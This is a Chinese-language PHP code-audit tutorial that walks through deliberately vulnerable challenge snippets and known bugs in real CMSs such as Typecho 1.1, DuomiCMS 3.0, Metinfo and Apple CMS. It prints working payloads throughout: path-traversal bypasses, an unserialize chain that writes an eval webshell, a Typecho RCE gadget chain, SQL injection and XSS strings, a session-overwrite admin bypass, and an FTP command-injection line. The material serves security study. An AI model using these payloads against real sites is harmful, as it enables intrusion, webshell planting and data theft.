您的位置 首页 php

Php代码审计学习之函数缺陷(二)

str_replace函数过滤不当

Rabbit

  • code
 class  lang uageManager {  public function loadLanguage() {    $lang = $this->getBrowserLanguage();    $sanitizedLang = $this->sanitizeLanguage($lang);    require_once("/lang/$sanitizedLang");  }  private function getBrowserLanguage() {    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';    return $lang;  }  private function sanitizeLanguage($language) {    return str_replace('../', '', $language);  }}(new LanguageManager())->loadLanguage();  
  • str_replace(子 字符串 替换)
 str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。  
  • payload
 ....// 或者 ..././   

Metinfo 6.0.0

  • strstr
 查找字符串的首次出现到结尾的字符串  

漏洞分析

  • app/system/include/module/old_thumb.class.php:14

  • include/thumb.php:6

全局搜索

  • app/system/include/class/load.class.php:113

  • payload
 最终用户授权许可协议.txt  

程序未恰当exit导致的问题

Anticipation

  • code
 extract($_POST);function goAway() {  error_log("Hacking attempt.");  header('Location: /error/');}if (!isset($pi) || !is_numeric($pi)) {  goAway();}if (!assert("(int)$pi == 3")) {  echo "This is not pi.";} else {  echo "This might be pi.";}  
  • extract
 从数组中将变量导入到当前的符号表  

  • payload
 pl=phpinfo()  
  • 测试

FengCms 1.32

  • install/index.php

如果安装完成会生成INSTALL文件,访问文件如果存在此文件则会弹窗提示退出,但没有及时exit,导致程序逻辑还是往下走,还是会安装

Simple-Log1.6网站重装漏洞

  • install/index.php

访问文件如果存在此文件则会弹窗提示退出,但没有及时exit,只是跳转到首页,导致程序逻辑还是往下走,还是会安装

unserialize反 序列化 漏洞

Pumpkin Pie

  • code
 class Template {  public $cache file  = '/tmp/cachefile';  public $template = '<div>Welcome back %s</div>';  public function __construct($data = null) {    $data = $this->loadData($data);    $this->render($data);  }  public function loadData($data) {    if (substr($data, 0, 2) !== 'O:'      && !preg_match('/O:\d:\/', $data)) {      return unserialize($data);    }    return [];  }  public function createCache($file = null, $tpl = null) {    $file = $file ?? $this->cacheFile;    $tpl = $tpl ?? $this->template;    file_put_contents($file, $tpl);  }  public function render($data) {    echo sprintf(      $this->template,      htmlspecialchars($data['name'])    );  }  public function __destruct() {    $this->createCache();  }}new Template($_COOKIE['data']);  
  • 题解

在loadData函数中使用到了unserialize反序列化方法,对传进来的$data进行了反序列化,最后对Template进行了实例化,将COOKIE中的data进行了反序列化。

 if (substr($data, 0, 2) !== 'O:'      && !preg_match('/O:\d:\/', $data))  

代码对data进行了判断,不可以为对象,0:X,X不可以为数字,绕过方法可以使用array数组绕过第一个,在X前面加+绕过第二个限制,搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件,达成目的。

  • payload
 <?phpclass Template{    public $cacheFile = './test.php';    public $template = '<?php eval($_POST[xx])>';}$temp= new Template();$test = Array($temp);print(serialize($test));?>  
  • 测试
 a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}  

Typecho-1.1

  • 环境搭建

漏洞分析

  • install.php:230

将cookie中的_typechoconfigbase64解码之后进行反序列化操作

  • 条件

如果finish不存在,或者存在config.inc.php文件$_SESSION[‘typecho’]为空,则退出程序

 if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {    exit;}  
 finish=1  

将反序列化后的结果传递给$config

  • install.php:232

  • var/Typecho/Db.php:114

变量adapterName = ‘TypechoDbAdapter’ . 变量adapterName,如果adapterName是对象,会触发_toString()方法

  • var/Typecho/Feed.php:223

  • var/Typecho/Feed.php:290

如果$item[‘author’]->screenName为私有属性或者不存在会触发__get方法

     public function __get($key)    {        return $this->get($key);    }  
  • var/Typecho/Request.php:295

calluserfun回调函数,$this->param[‘scrrenName’] 的值设置为想要执行的函数,构造 $this->filter 为对应函数的参数值self::RSS2 == $this->type,type需要构造,item[‘author’]为触发点,需要构造thisitems

  • 构造payload
 <?phpclass Typecho_Request{     private  $_params = array();    private $_fifter = array();    public function __construct(){        $this->_params['screenName'] = 'phpinfo()';        $this->_fifter[0] = 'assert';    }}class Typecho_Feed{    private $_type;    private $_item = array();    public function s__construct(){        $this->_type = 'RSS 2.0';        $item['author'] = new Typecho_Request();        $item['category']=Array(new Typecho_Request());        $this->_item[0]=$item;    }}$x = new Typecho_Feed();$a = array(    'adapter' => $x,    'prefix' => 'Typecho_');echo base64_encode(serialize($a));?>  

  • 测试

误用htmlentities函数引发的漏洞

String Lights

  • code
 $sanitized = [];foreach ($_GET as $key => $value) {  $sanitized[$key] = intval($value);}$queryParts = array_map(function ($key, $value) {  return $key . '=' . $value;}, array_keys($sanitized), array_values($sanitized));$query = implode('&', $queryParts);echo "<a href='/images/size.php?" .  htmlentities($query) . "'>link</a>";  
  • htmlentities
 将字符转换为 HTML 转义字符  

ENT_COMPAT(默认值):只转换双引号。 ENT_QUOTES:两种引号都转换。 ENT_NOQUOTES:两种引号都不转换。

  • 环境搭建

  • payload
 a%27onclick%3Dalert%281%29%2f%2f=1  

DM企业建站系统 v201710

漏洞分析

  • admindm-yourname/mod_common/login.php:63

  • 直接拼接数据
  $ss_P="select * from ".TABLE_USER."  where  email='$user' and ps='$pscrypt'  order by id desc limit 1";  
  • component/dm-config/global.common.php:421

ENT_NOQUOTES两种引号都不转换,造成注入

特定场合下 addslashes 函数的绕过

Turkey Baster

  • code
 class LoginManager {  private $em;  private $user;  private $password;  public function __construct($user, $password) {    $this->em = DoctrineManager::getEntityManager();    $this->user = $user;    $this->password = $password;  }  public function isValid() {    $user = $this->sanitize input ($this->user);    $pass = $this->sanitizeInput($this->password);    $queryBuilder = $this->em->createQueryBuilder()      ->select("COUNT(p)")      ->from("User", "u")      ->where("user = '$user' AND password = '$pass'");    $query = $queryBuilder->getQuery();    return boolval($query->getSingleScalarResult());  }  public function sanitizeInput($input, $length = 20) {    $input = addslashes($input);    if (strlen($input) > $length) {      $input = substr($input, 0, $length);    }    return $input;  }}$auth = new LoginManager($_POST['user'], $_POST['passwd']);if (!$auth->isValid()) {  exit;  
  • 题解

实例化一个LoginManager类名,接收用户传递的user,passwd两个参数,并通过isValid方法判断是否合法,sanitizeInput方法,通过addslashes方法进行过滤,再截取20位返回。

  • addslashes
 作用:在单引号(')、双引号(")、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线  
  • substr
 string substr ( string $string , int $start [, int $length ] )  

返回字符串 string 由 start 和 length 参数指定的子字符串。

  • user
 1234567890123456789'  
  • SQL
 select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'  
  • payload
 user=1234567890123456789'&passwd=or 1=1#  

苹果CMS视频分享程序 8.0

  • 环境搭建

漏洞分析

  • inc/common/template.php:754

$lp[‘wd’]直接拼接SQL语句,造成SQL注入

  • inc/module/vod.php:96

  • inc/common/function.php:266

对传进来的参数进行过滤

在$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : ”;中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。

  • inc/common/360_safe3.php:27

跟踪chkSql函数

将传进来的参数进行urldecode解码之后,通过StopAttack方法,最后通过htmlEncode方法,最后返回。

  • inc/common/360_safe3.php:12

跟进StopAttack方法,使用preg_match方法进行过滤

  • inc/common/360_safe3.php:57 跟踪$getfilter方法

  • inc/common/function.php:572

跟踪一下htmlEncode方法,针对 & 、 ‘ 、 空格 、 ” 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换

  • inc/common/template.php:560

而 wd 是可以从 REQUEST 中获取到,所以wd 实际上是可控的。

  • 漏洞思路

SQL注入点是字符型注入,htmlEncode方法实体编码了单引号,最后进行了url解码操作,可以通过双编码绕过,htmlEncode方法没有过滤反斜杠,而addslashes方法会过滤反斜杠。

  • 构造SQL
 wd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63  

从变量覆盖到getshell

Snowman

  • code
 class Carrot {  const EXTERNAL_DIRECTORY = '/tmp/';  private $id;  private $lost = 0;  private $bought = 0;  public function __construct($input) {    $this->id = rand(1, 1000);    foreach ($input as $field => $count) {      $this->$field = $count++;    }  }  public function __destruct() {    file_put_contents(      self::EXTERNAL_DIRECTORY . $this->id,      var_export(get_object_vars($this), true)    );  }}$carrot = new Carrot($_GET);  
  • payload
 id=shell.pho&shell=',)%0a//   
  • 测试

DuomiCMS_3.0

  • 环境搭建

漏洞分析

  • duomiphp/common.php:52

查看全局变量注册代码

 foreach(Array('_GET','_POST','_COOKIE') as $_request){    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}  
  • duomiphp/common.php:36

查看_RunMagicQuotes方法, _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理

  • admin/admin_ping.php:13

全剧追踪fwrite函数,$weburl与token来源于post,可控。

weburl 变量和 token 变量从 POST方式获取,经过了_RunMagicQuotes方法还有webscan.php的过滤,但是可以写shell

admin\admin_ping.php文件得需要admin身份才可以有访问权限写shell

  • admin/config.php:28

  • duomiphp/check.admin.php:41

  • admin/login.php:62

  • duomiphp/check.admin.php:72

跟进checkUser方法

  • 登陆管理用户查看组

可知用户组和userid均为1

  • 覆盖 session 的值

重点注意这里git项目上的覆盖session有问题,可以使用这个payload

 member/share.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1  
  • payload
 Host: www.test.com:8888Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 34weburl=";phpinfo();//&token=  
  • 测试

$SERVER[‘PHPSELF’]导致的防御失效问题

Sleigh Ride

  • code
 class Redirect {  private $websiteHost = 'www.example.com';  private function setHeaders($url) {    $url = urldecode($url);    header("Location: $url");  }  public function startRedirect($params) {    $parts = explode('/', $_SERVER['PHP_SELF']);    $baseFile = end($parts);    $url = sprintf(      "%s?%s",      $baseFile,      http_build_query($params)    );    $this->setHeaders($url);  }}if ($_GET['redirect']) {  (new Redirect())->startRedirect($_GET['params']);}  
  • 环境搭建

  • 题解

代码实现的功能实则为一个URL跳转的功能,PHP_SELF 指当前的页面绝对地址。

  • payload
 /index.php/http:%252f%252fwww.syst1m.com?redirect=1  
  • 测试

跳转到了我的博客

深入理解$_REQUESTS数组

Poem

  • code
 class FTP {  public $sock;  public function __construct($host, $port, $user, $pass) {    $this->sock = fsockopen($host, $port);    $this->login($user, $pass);    $this->cleanInput();    $this->mode($_REQUEST['mode']);    $this->send($_FILES['file']);  }  private function cleanInput() {    $_GET = array_map('intval', $_GET);    $_POST = array_map('intval', $_POST);    $_COOKIE = array_map('intval', $_COOKIE);  }  public function login($username, $password) {    fwrite($this->sock, "USER " . $username . "\n");    fwrite($this->sock, "PASS " . $password . "\n");  }  public function mode($mode) {    if ($mode == 1 || $mode == 2 || $mode == 3) {      fputs($this->sock, "MODE $mode\n");    }  }  public function send($data) {    fputs($this->sock, $data);  }}new FTP('localhost', 21, 'user', 'password');  
  • 题解

mode是通过request传进来的,在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤

  • REQUEST

  • payload
 ?mode=1%0a%0dDELETE%20test.file   

Raw MD5 Hash引发的注入

Turkey Baster

  • code
 class RealSecureLoginManager {  private $em;  private $user;  private $password;  public function __construct($user, $password) {    $this->em = DoctrineManager::getEntityManager();    $this->user = $user;    $this->password = $password;  }  public function isValid() {    $pass = md5($this->password, true);    $user = $this->sanitizeInput($this->user);    $queryBuilder = $this->em->createQueryBuilder()      ->select("COUNT(p)")      ->from("User", "u")      ->where("password = '$pass' AND user = '$user'");    $query = $queryBuilder->getQuery();    return boolval($query->getSingleScalarResult());  }  public function sanitizeInput($input) {    return addslashes($input);  }  $c = new RealSecureLoginManager(  $_POST['user'],  $_POST['passwd']);if (!$auth->isValid()) {  exit;}  
  • md5(计算字符串的 MD5 散列值)
 string md5 ( string $str [, bool $raw_output = false ] )  
  • 题解

auth新建了一个RealSecureLoginManager对象,传进去POST的user和passwd。在md5方法中,如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

  • fuzz

  • payload
 user= OR 1=1#&passwd=128  
  • SQL
 select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'  

实例分析

  • 题目地址
   

分析

  • 查看源代码

  • password
 md5($password,true)  
  • payload
 password=ffifdyop或者129581926211651571912466741651878684928  
  • 测试

文章来源:智云一二三科技

文章标题:Php代码审计学习之函数缺陷(二)

文章地址:https://www.zhihuclub.com/76645.shtml

关于作者: 智云科技

热门文章

网站地图